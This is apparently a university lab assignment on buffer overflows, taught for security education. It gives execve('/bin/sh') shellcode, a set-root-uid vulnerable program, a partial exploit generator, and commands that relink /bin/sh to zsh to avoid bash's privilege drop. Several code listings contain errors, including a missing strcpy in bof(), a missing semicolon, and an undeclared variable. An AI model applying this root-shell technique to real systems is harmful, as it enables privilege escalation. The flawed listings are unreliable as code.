International Institute of Information Technology Hyderabad

System and Network Security (CS5470)

Lab Assignment 4: Buffer Overflow Vulnerability

Hard Deadline:

Total Marks: 100 [Implementation (Results + report): 70, Viva-voce: 30]

Note:- It is strongly recommended that no student is allowed to copy programs from others. Hence, if there is any duplicate in the assignment, simply both the parties will be given zero marks without any compromise. Rest of assignments will not be evaluated further and assignment marks will not be considered towards final grading in the course. No assignment will be taken after deadline. (Lab4-RollNumber.zip).

Overview

Buffer overflow is defined as the condition in which a program attempts to write data beyond the boundaries of pre-allocated fixed length buffers. This vulnerability can be utilized by a malicious user to alter the flow control of the program, even execute arbitrary pieces of code. This vulnerability arises due to the mixing of the storage for data (e.g. buffers) and the storage for controls (e.g. return addresses): an overflow in the data part can affect the control flow of the program, because an overflow can change the return address.

Environment:-

It is advisable to use a VM for this Assignment.

Note : - To protect against buffer overflow attacks and other attacks that use shell programs, many shell programs automatically drop their privileges when invoked. Therefore, even if you can “fool” a privileged Set-UID program to invoke a shell, you might not be able to retain the privileges within the shell. This protection scheme is implemented in /bin/bash. In Ubuntu, /bin/sh is actually a symbolic link to /bin/bash. To see the life before such protection scheme was implemented, we use another shell program (the zsh), instead of /bin/bash.

The following instructions describe how to link the zsh program to /bin/sh.

[1] cd /bin
[2] rm sh
[3] ln -s /bin/zsh /bin/sh

Important Note: There are several other protection mechanism in Ubuntu to prevent against BufferOverflow attacks. You need to make the required changes in order to get the desired results.

Shellcode

Before you start the attack, you need a shellcode. A shellcode is the code to launch a shell. It has to be loaded into the memory so that we can force the vulnerable program to jump to it.

```
#include <stdio.h>
int main( ) {
      char *name[2];
      name[0] = ‘‘/bin/sh’’;
      name[1] = NULL;
      execve(name[0], name, NULL);
}
```

The shellcode that we use is just the assembly version of the above program. The following program shows you how to launch a shell by executing a shellcode stored in a buffer. Please compile and run the following code, and see whether a shell is invoked.

```
#include <stdlib.h>
#include <stdio.h>
const char code[] =
          "\x31\xc0"        /* Line 1: xorl %eax,%eax */
          "\x50"            /* Line 2: pushl %eax */
          "\x68""//sh"      /* Line 3: pushl $0x68732f2f */
          "\x68""/bin"      /* Line 4: pushl $0x6e69622f */
          "\x89\xe3"        /* Line 5: movl %esp,%ebx */
          "\x50"            /* Line 6: pushl %eax */
          "\x53"            /* Line 7: pushl %ebx */
          "\x89\xe1"        /* Line 8: movl %esp,%ecx */
          "\x99"            /* Line 9: cdq */
          "\xb0\x0b"        /* Line 10: movb $0x0b,%al */
          "\xcd\x80"        /* Line 11: int $0x80 */
;

int main(int argc, char **argv)
{
          char buf[sizeof(code)];
          strcpy(buf, code);
          ((void(*)( ))buf)( );
}
```

The Vulnerable Program

```
//This program has a buffer overflow vulnerability
//The task is to exploit this vulnerability
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
        char buffer[12];
        return 1;
}

int main(int argc, char **argv)
{
        char str[517];
        FILE * malfile
        malfile = fopen("malfile", "r");
        fread(str, sizeof(char), 517, malfile); bof(str);
        printf("Returned Properly\n");
        return 1;
}
```

Compile the above vulnerable program and make it set-root-uid. You can achieve this by compiling it in the root account, and chmod the executable to 4755.

It first reads an input from a file called “malfile”, and then passes this input to another buffer in the function bof(). The original input can have a maximum length of 517 bytes, but the buffer in bof() has only 12 bytes long. Due to improper boundary checking, buffer overflow will occur.

Parts 1: Exploiting the Vulnerability

The goal of this code is to create contents of the malicious file. **This is a partial code. You need to complete it.**

```
#include <stdlib.h>
#include <stdio.h>
const char code[] =
        "\x31\xc0"      /* Line 1: xorl %eax,%eax */
        "\x50"          /* Line 2: pushl %eax */
        "\x68""//sh"    /* Line 3: pushl $0x68732f2f */
        "\x68""/bin"    /* Line 4: pushl $0x6e69622f */
        "\x89\xe3"      /* Line 5: movl %esp,%ebx */
        "\x50"          /* Line 6: pushl %eax */
        "\x53"          /* Line 7: pushl %ebx */
        "\x89\xe1"      /* Line 8: movl %esp,%ecx */
        "\x99"          /* Line 9: cdq */
        "\xb0\x0b"      /* Line 10: movb $0x0b,%al */
        "\xcd\x80"      /* Line 11: int $0x80 */
;
void main(int argc, char **argv)
{
        char buffer[517];
        FILE * malfile;

        /* Initialize buffer with 0x90 (NOP instruction) */
        memset(&buffer, 0x90, 517);

        /* You need to fill the buffer with appropriate contents here */

        /* Save the contents to the file "MalFile" */

        badfile = fopen("./malfile", "w");
        fwrite(buffer, 517, 1, malfile);
        fclose(malfile);
}
```

- Please compile your vulnerable program first.
- On successfully compiling and running the completed code you wil get contents for the **malicious file**.
- Then run the vulnerable program.

If your exploit is implemented correctly, you should be able to get a root shell.

1) Need to submits all the codes you are using.

2)Write about what changes you made to the environment and why?

3)Explain briefly how you went about solving the problem.

Part 2: Now, we let /bin/sh point back to /bin/bash, and run the same attack developed in the previous task. Can you get a shell? Is the shell the root shell? What has happened?

```
//linking bin/sh to bin/bash
    # cd /bin
    # rm sh
    # ln -s bash sh          // link /bin/sh to /bin/bash
    #exit
```

1) Write briefly about you exploit attempt.

[Bonus]There are ways to get around this protection scheme. You need to modify the shellcode to achieve this. This is a Bonus marks Question **[Bonus].**